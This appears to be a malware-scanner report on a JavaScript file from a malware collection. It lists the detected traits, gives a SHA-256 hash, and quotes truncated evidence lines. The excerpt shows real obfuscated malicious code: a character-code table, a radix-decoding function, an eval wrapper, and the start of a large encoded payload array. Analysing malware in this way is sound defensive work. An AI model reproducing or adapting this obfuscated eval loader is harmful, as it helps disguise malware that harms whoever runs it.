Suspicious ^80% javascript-malware-collection Download

20151210_919177e68e3c9c4d65cc630497b2d269.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256f4ca654bb226879ae532e0c8a1037ce3a49c31bbae0d465b48c4ae6d746ce675

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var LDfqlcyWJXnzG=[];
2DNmLRMS=(-726+726)/820;while(true){if(DNmLRMS>=(9624+744)/81){break;}LDfqlcyWJXnzG[DNmLRMS]=String.fromCharCode(DNmLRMS);DNmLRMS++;}
3function Pakuo(IKSnursIBAs,hJUtSbSjNApII,DegVyoZO){QWqc=parseInt(IKSnursIBAs,hJUtSbSjNApII);WVeis=QWqc.toString(DegVyoZO);return WVeis;}function LmPACWWlTlAnkoj(QDNQZmrJQazzVIkcR){eval(QDNQZmrJQazzVIkcR)}
4function IgSafpKeJLLsssEATdWNeBOGPRYqLqloOYioWNXzQlKtefrZgONGSg(ugCGVdDojwHUb,eXXCImpnqSnlzR){ return LDfqlcyWJXnzG[Pakuo(ugCGVdDojwHUb[eXXCImpnqSnlzR],(9756+644)/416,(5638+352)/599)];}
5function SqDJmTp(xPDrLtdiDfeYKcHmvDouZBttvqilEDDhVMea) {return !isNaN(parseFloat(xPDrLtdiDfeYKcHmvDouZBttvqilEDDhVMea)) && isFinite(xPDrLtdiDfeYKcHmvDouZBttvqilEDDhVMea);}
6function ILdwYGUdVYX(oOfekZAg,AVszmV){return oOfekZAg.split(AVszmV)}
7var G=[];G[0]="d";G[1]="a";G[2]="d";G[3]="a";G[4]="4i";G[5]="3m";G[6]="4e";G[7]="17";G[8]="2i";G[9]="17";G[10]="2b";G …

Massive array index assignment line 8

8:4312… ";c[860]="4g";c[861]="4e";c[862]="4l";c[863]="17";c[864]="17";c[865]="4n";c[866]="d";c[867]="a";c[868]="17";c[869]="17";c[870]="17";c[871]="17";c[872]="17";c[873]="17";c[874]="17";c[875]="17";c[876]="17";c[877]="17";c[878]="45";c[879]="42";c[880]="17";c[881]="1f";c[882]="1f";c[883]="1f";c[884]="4a";c[885]="41";c[886]="4j";c[887]="17";c[888]="2i";c[889]="3m";c[890]="4g";c[891]="41";c[892]="1f";c[893]="1g";c …